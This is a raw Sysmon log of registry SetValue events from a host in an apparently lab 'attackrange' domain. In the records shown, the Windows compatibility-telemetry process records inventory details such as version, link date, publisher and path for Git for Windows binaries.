13241300x800000000000000035819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\[.exe|b6eac39997c90239\BinProductVersion(Empty) 13241300x800000000000000035818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\[.exe|b6eac39997c90239\LinkDate01/01/1970 00:00:00 13241300x800000000000000035817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\[.exe|b6eac39997c90239\Publisher(Empty) 13241300x800000000000000035816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\[.exe|b6eac39997c90239\LowerCaseLongPathc:\program files\git\usr\bin\[.exe 13241300x800000000000000035815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\0000cf6bcbd173601d5a06d08c5c197a52c40000ffff\PublisherThe Git Development Community 13241300x800000000000000037280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pathchk.exe|815a4f847b55a65e\Publisher(Empty) 13241300x800000000000000037279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\pathchk.exe|815a4f847b55a65e\LowerCaseLongPathc:\program files\git\usr\bin\pathchk.exe 13241300x800000000000000037278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\patch.exe|ec282c9a0120237a\BinProductVersion(Empty) 13241300x800000000000000037277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\patch.exe|ec282c9a0120237a\LinkDate01/01/1970 00:00:00 13241300x800000000000000037276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\patch.exe|ec282c9a0120237a\Publisher(Empty) 13241300x800000000000000037275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\patch.exe|ec282c9a0120237a\LowerCaseLongPathc:\program files\git\usr\bin\patch.exe 13241300x800000000000000037274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\paste.exe|4b6449e13df12ac2\BinProductVersion(Empty) 13241300x800000000000000037273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\paste.exe|4b6449e13df12ac2\LinkDate01/01/1970 00:00:00 13241300x800000000000000037272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\paste.exe|4b6449e13df12ac2\Publisher(Empty) 13241300x800000000000000037271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\paste.exe|4b6449e13df12ac2\LowerCaseLongPathc:\program files\git\usr\bin\paste.exe 13241300x800000000000000037270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\passwd.exe|3074fd45afd21d5a\BinProductVersion(Empty) 13241300x800000000000000037269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\passwd.exe|3074fd45afd21d5a\LinkDate03/26/2021 22:24:40 13241300x800000000000000037268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\passwd.exe|3074fd45afd21d5a\Publisher(Empty) 13241300x800000000000000037267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\passwd.exe|3074fd45afd21d5a\LowerCaseLongPathc:\program files\git\usr\bin\passwd.exe 13241300x800000000000000037266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\p11-kit.exe|8bade04a6e35b25c\BinProductVersion(Empty) 13241300x800000000000000037265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\p11-kit.exe|8bade04a6e35b25c\LinkDate01/01/1970 00:00:00 13241300x800000000000000037264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\p11-kit.exe|8bade04a6e35b25c\Publisher(Empty) 13241300x800000000000000037263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\p11-kit.exe|8bade04a6e35b25c\LowerCaseLongPathc:\program files\git\usr\bin\p11-kit.exe 13241300x800000000000000037262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\p11-kit-server.e|2949625778c73062\BinProductVersion(Empty) 13241300x800000000000000037261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\p11-kit-server.e|2949625778c73062\LinkDate01/01/1970 00:00:00 13241300x800000000000000037260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\p11-kit-server.e|2949625778c73062\Publisher(Empty) 13241300x800000000000000037259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\p11-kit-server.e|2949625778c73062\LowerCaseLongPathc:\program files\git\usr\libexec\p11-kit\p11-kit-server.exe 13241300x800000000000000037258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\p11-kit-remote.e|51a36587ed162938\BinProductVersion(Empty) 13241300x800000000000000037257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\p11-kit-remote.e|51a36587ed162938\LinkDate01/01/1970 00:00:00 13241300x800000000000000037256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\p11-kit-remote.e|51a36587ed162938\Publisher(Empty) 13241300x800000000000000037255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\p11-kit-remote.e|51a36587ed162938\LowerCaseLongPathc:\program files\git\usr\libexec\p11-kit\p11-kit-remote.exe 13241300x800000000000000037254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\openssl.exe|f1700e8a34a30f68\BinProductVersion1.1.1.11 13241300x800000000000000037253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\openssl.exe|f1700e8a34a30f68\LinkDate03/25/2021 15:20:47 13241300x800000000000000037252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\openssl.exe|f1700e8a34a30f68\Publisherthe openssl project, https://www.openssl.org/ 13241300x800000000000000037251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\openssl.exe|f1700e8a34a30f68\LowerCaseLongPathc:\program files\git\mingw64\bin\openssl.exe 13241300x800000000000000037250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\openssl.exe|171f6196cf43df96\BinProductVersion1.1.1.11 13241300x800000000000000037249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\openssl.exe|171f6196cf43df96\LinkDate01/01/1970 00:00:00 13241300x800000000000000037248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\openssl.exe|171f6196cf43df96\Publisherthe openssl project, https://www.openssl.org/ 13241300x800000000000000037247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\openssl.exe|171f6196cf43df96\LowerCaseLongPathc:\program files\git\usr\bin\openssl.exe 13241300x800000000000000037246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\odt2txt.exe|6473e7d965a98c3a\BinProductVersion(Empty) 13241300x800000000000000037245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\odt2txt.exe|6473e7d965a98c3a\LinkDate01/01/1970 00:00:00 13241300x800000000000000037244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\odt2txt.exe|6473e7d965a98c3a\Publisher(Empty) 13241300x800000000000000037243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\odt2txt.exe|6473e7d965a98c3a\LowerCaseLongPathc:\program files\git\mingw64\bin\odt2txt.exe 13241300x800000000000000037242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\od.exe|4327ce9d2e91b98c\BinProductVersion(Empty) 13241300x800000000000000037241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\od.exe|4327ce9d2e91b98c\LinkDate01/01/1970 00:00:00 13241300x800000000000000037240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\od.exe|4327ce9d2e91b98c\Publisher(Empty) 13241300x800000000000000037239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\od.exe|4327ce9d2e91b98c\LowerCaseLongPathc:\program files\git\usr\bin\od.exe 13241300x800000000000000037238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\numfmt.exe|8ee1d73a41ab2c69\BinProductVersion(Empty) 13241300x800000000000000037237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\numfmt.exe|8ee1d73a41ab2c69\LinkDate01/01/1970 00:00:00 13241300x800000000000000037236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\numfmt.exe|8ee1d73a41ab2c69\Publisher(Empty) 13241300x800000000000000037235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\numfmt.exe|8ee1d73a41ab2c69\LowerCaseLongPathc:\program files\git\usr\bin\numfmt.exe 13241300x800000000000000037234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nproc.exe|4b998916d3f3a9c7\BinProductVersion(Empty) 13241300x800000000000000037233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nproc.exe|4b998916d3f3a9c7\LinkDate01/01/1970 00:00:00 13241300x800000000000000037232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nproc.exe|4b998916d3f3a9c7\Publisher(Empty) 13241300x800000000000000037231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nproc.exe|4b998916d3f3a9c7\LowerCaseLongPathc:\program files\git\usr\bin\nproc.exe 13241300x800000000000000037230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nohup.exe|b6d740d02d8e649a\BinProductVersion(Empty) 13241300x800000000000000037229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nohup.exe|b6d740d02d8e649a\LinkDate01/01/1970 00:00:00 13241300x800000000000000037228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nohup.exe|b6d740d02d8e649a\Publisher(Empty) 13241300x800000000000000037227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nohup.exe|b6d740d02d8e649a\LowerCaseLongPathc:\program files\git\usr\bin\nohup.exe 13241300x800000000000000037226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nl.exe|a11f2aa66e5f8174\BinProductVersion(Empty) 13241300x800000000000000037225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nl.exe|a11f2aa66e5f8174\LinkDate01/01/1970 00:00:00 13241300x800000000000000037224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nl.exe|a11f2aa66e5f8174\Publisher(Empty) 13241300x800000000000000037223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nl.exe|a11f2aa66e5f8174\LowerCaseLongPathc:\program files\git\usr\bin\nl.exe 13241300x800000000000000037222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nice.exe|d195556bd0ad811f\BinProductVersion(Empty) 13241300x800000000000000037221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nice.exe|d195556bd0ad811f\LinkDate01/01/1970 00:00:00 13241300x800000000000000037220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nice.exe|d195556bd0ad811f\Publisher(Empty) 13241300x800000000000000037219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nice.exe|d195556bd0ad811f\LowerCaseLongPathc:\program files\git\usr\bin\nice.exe 13241300x800000000000000037218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ngettext.exe|b3b7f8b500cfd995\BinProductVersion0.19.8.0 13241300x800000000000000037217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ngettext.exe|b3b7f8b500cfd995\LinkDate01/01/1970 00:00:02 13241300x800000000000000037216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ngettext.exe|b3b7f8b500cfd995\Publisherfree software foundation 13241300x800000000000000037215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ngettext.exe|b3b7f8b500cfd995\LowerCaseLongPathc:\program files\git\usr\bin\ngettext.exe 13241300x800000000000000037214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nettle-pbkdf2.ex|97ba977fde0c62d6\BinProductVersion(Empty) 13241300x800000000000000037213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.402{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\nettle-pbkdf2.ex|97ba977fde0c62d6\LinkDate01/01/1970 00:00:00 13241300x800000000000000037212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 